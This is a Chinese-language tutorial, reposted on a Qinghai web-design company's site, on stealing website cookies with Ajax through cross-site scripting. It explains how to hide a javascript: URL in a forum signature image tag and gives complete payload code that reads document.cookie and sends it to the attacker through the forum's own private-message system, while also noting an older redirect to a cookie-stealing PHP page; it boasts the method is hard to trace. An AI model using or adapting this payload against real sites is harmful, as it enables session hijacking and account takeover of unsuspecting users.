青海網站建設、網絡推廣最好的公司--您身邊的網站建設專家,馬上拿起電話,聯系我們:0971-8235355   
青海西寧網站建設、網站制作公司-西寧威勢電子信息服務有限公司 首頁 |  公司簡介 |  網站建設 |  網絡推廣 |  空間租用 |  域名注冊 |  企業郵局 |  網絡安全 |  網站編程 |  客服中心 |  聯系我們 |  人才招聘
 
西寧威勢最新網站制做案例展示
Lastest Project
 
西寧網站建設  
當前位置為:首頁 >> 腳本安全 >> 正文  
利用AJAX技術偷取COOKIES

文章來源: 西寧威勢電子信息服務有限公司     發布時間:2008-12-12    瀏覽次數:8634    tags:AJAX 偷取 COOKIES

Cookies高級竊取法之Ajax
當我們生活在現代結實的建筑下時,Ajax正在改變著Web的工作方式,它通過Javascript和XML為我們帶來了直通Web的桌面式的功能。換句話說,Ajax(Asynchronous Javascript and XML)去除了通過DHTML特效帶來的煩瑣的頁面更新和鏈接,并將其變成十分有趣的桌面式應用程序。Ajax不僅是一項技術,而且更不是單純的技術的集合,當這些技術一起使用時,它提供了強有力的框架。本文將試著教大家如何駕御這項技術來提高Cookies的竊取能力。本文也是個對Ajax不錯的介紹,因為它被用在一個獨特并有趣的地方。在閱讀本文前,大家應該明白,Ajax只在Cookie竊取時有用,如果它繞過了站點的驗證系統。為了使它起作用,目標站點必須有一些私有消息(PM)系統來接收Cookies本身,這將有效地繞過瀏覽器的所有驗證來發送請求。

[b]通過Ajax竊取Cookie?關鍵點![/b]

大家可能很想知道Ajax是怎樣幫助我們更隱秘地竊取Cookie的。首先,這種通過Ajax查找的性質決定了它能夠以XMLHttpRequest的形式向服務器發送任意請求。從本質上看,它可以通過使用超文本鏈接或者嵌在網頁中的各種數據提交控件來發送這些請求。但通過使用Ajax,當一個用戶點擊了上述的鏈接時,請求被自動發送給服務器處理而不需要重定向到另一個頁面,這就突破了頁面更新的需要,并且把最終結果在Web中顯示給用戶。只要Web瀏覽器添加一個合適的Javascript解釋器(現在使用的大部分Web瀏覽器都有這個功能),這些假設就都是可能的。所以,現在讓我們想象一下并試用我們剛才學的Cookie竊取。比如,大部分Cookie竊取者都用Javascript的Location方法:window.document.location="http://www.cookie竊取.com/討厭的竊密者.php",在執行這句后,將完全重定位到一個不同的頁面而不是用戶請求的;我們再用javascript url:javascript: window.document.location="http://www.target.com"試一下,而這已經是老式的Cookie竊取的方法了。接下來本文將教大家最新的關于如何利用Ajax重定向用戶的請求到你選的Web頁面的方法。有時,攻擊者要使竊取有創造性(老的方法)并且要使頁面跟用戶先前請求的頁面一模一樣,猜一下會怎樣呢?現在很多用戶會懷疑他們看到的URL不是原先那個域名的URL,而是看起來更象[url]http://快來吧.com/[/url]竊取.php。當他們看到這個,我們的機會就變成了被舉報,并且網絡管理員也會意識到什么被竊取了,然后問題就被解決了(當然,如果是在理想世界)。使用Ajax,我們可以把數據附加在用戶的Cookie當中,并悄悄地請求和發送到你想要的地方(當中也有一些不理想的地方,下面我們將會討論它們是什么,該如何在這樣的條件下運作)。最后,當用戶訪問像論壇這樣的網站后,我們的任務就完成了,Cookie被竊取,好象什么事都沒發生(至少表面上是這樣的)。


[b]我是迷糊了,現在該如何開始呢?[/b]

在這么長的介紹之后,是時候開始編寫我們的代碼了,先開個頭!為了達到我們的目的,我們要使Ajax與兩大瀏覽器(Mozilla和IE)兼容。為此,我們需要一些HTTP調試器,Paros Proxy或Microsoft Fiddler就可以了。它們待會將記錄請求,雖然不是必需的,但對我們的工作很有用。

注意:本文將利用常見的攻擊方法(跨站腳本攻擊)來證明這些代碼。我們要利用的是HTML中<img>標簽的SRC屬性來完成我們的工作。下面的基本代碼可以通過簡單地修改來滿足大家的需要,完整的代碼將在文章最后給出來。

前途是光明的

假設我們的任務是:滲透一個用PHP語言編寫的未過濾Javascript或其他惡意代碼的有圖片個性簽名的論壇,在沒有人知道的情況下獲得一個Cookie。

下面讓我們開始這次“旅行”,用沒有危害的圖像標簽在SRC中隱藏我們的Javascript URL(XSS中常見的形式),具體代碼如下所示。

[code]<img src="javascript:

//我們將設XMLHttpRequestObject為false來看等下它會不會返回true。

var XMLHTTPRequestObject = false;

if (window.XMLHttpRequest)

{

  XMLHttpRequestObject = new XMLHttpRequest();

}

else if(window.ActiveXObject)

{

  XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");

}

else

{

  alert("Javascript must be enabled to continue.");

}[/code]

上面的代碼是個簡單的測試,用以確定XMLHttpRequest對象是能夠被創建的。如果不行,代碼會返回false并跳出對話框說“Javascript must be enabled to continue.”。既然我們已經成功地創建了一個新的對象,我們該創建一個在成功載入后能向服務器發送請求的函數了。但是當Ajax嘗試訪問一個外來的鏈接時,這里就有問題了。通常,瀏覽器會提示是否確定本次訪問,那我們的任務就失敗了!如果要使我們的代碼是秘密的致命的,我們就必須處理這種情況。幸運的是,我們是對論壇進行測試,通常論壇都會有某些PM(private messaging)系統的,我們就用“以彼之道,還施彼身”的絕學(慕容家的,我偷用下)來實現,以消息的形式來發送我們的Cookies。這不僅是通過在PHP中創建文件來重新得到Cookies,也可以打開文件來把它寫入,這意味著我們已經繞過了訪問外來鏈接時的限制,具體代碼如下所示。

[code]function socket()

{

/*下面這行很重要。注意到了Cookie是以合法的字符串附加上去的嗎?如果繞過站點用的是Post方法來發送消息的,那么就要修改一下代碼并使用HTTP調試器做些必要的修改*/

 XMLHttpRequestObject.open('GET','http://www.site.com/privatemessage.phpuser=yourusername&subject=' + window.document.cookie, true);

  XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

  XMLHttpRequestObject.send(null);

 //出于我們的善良

  delete XMLHttpRequestObject;

}

//別忘了這是張圖片,要閉合標簽哦!

window.document.onload='socket();'">[/code]

[b]總 結[/b]

兄弟姐妹們,現在我們已經做到了利用Ajax竊取Cookie的簡單而有效的方法。上面的代碼只是作為例子提供的,并不是萬能鑰匙。比如,如果PM系統用的是Post而不是Get方法,或者很想用圖片卻沒法解除它的限制呢?本文應該能使大家學會編寫出更厲害的隱秘的腳本的方法,至少大家應該對無須更新頁面即可竊取Cookie有了一定的概念;但也要知道,這種對安全性差的站點的欺騙風險也是很大的,但如果方法得當,也是很難追蹤的。總之,本文是一個故事,講了一個人結合了跨站腳本和跨站請求偽造來執行攻擊的故事。如果大家回過頭看這些故事里使用的代碼,會發現代碼是利用了Ajax來執行的,記住哦。

完整的驗證代碼

[code]<img src="javascript: 

var XMLHTTPRequestObject = false;

if (window.XMLHttpRequest)

{

  XMLHttpRequestObject = new XMLHttpRequest();

}

else if(window.ActiveXObject)

{

  XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");

}   else

{   alert("Javascript must be enabled to continue.");

}   function socket()

{   

  XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?

user=yourusername&subject=' + window.document.cookie, true);

  XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

  XMLHttpRequestObject.send(null);

  delete XMLHttpRequestObject;

}

window.document.onload='socket();'">[/code]
上一篇:"vbs"腳本病毒的預防和解除
下一篇:[原創]ASP后門代碼
評論列表
正在加載評論……
  
評論   
呢  稱:
驗證碼: 若看不清請點擊更換!
內  容:
 
 
  在線洽談咨詢:
點擊這里,在線洽談   點擊這里,在線洽談   點擊這里,在線洽談
與我交談  與我交談 與我交談
乘車路線    匯款方式   加盟合作  人才招聘  
公司地址:青海省西寧市西關大街73號(三二四部隊招行所四樓)     青ICP備13000578號-1 公安機關備案號:63010402000123    
QQ:147399120    mail:[email protected]    電話: 13897410341    郵編:810000
© Copyright( 2008-2009) QhWins.Com All Rights Reserved    版權所有:西寧威勢電子信息服務有限公司 未經書面制授權,請勿隨意轉載!
業務:青海網站制做青海網站建設青海網頁設計西寧網站制做西寧網站建設青海域名注冊青海網絡推廣青海網站推廣青海空間租用青海軟件開發網站安全網絡安全

香港六合彩开奖结果网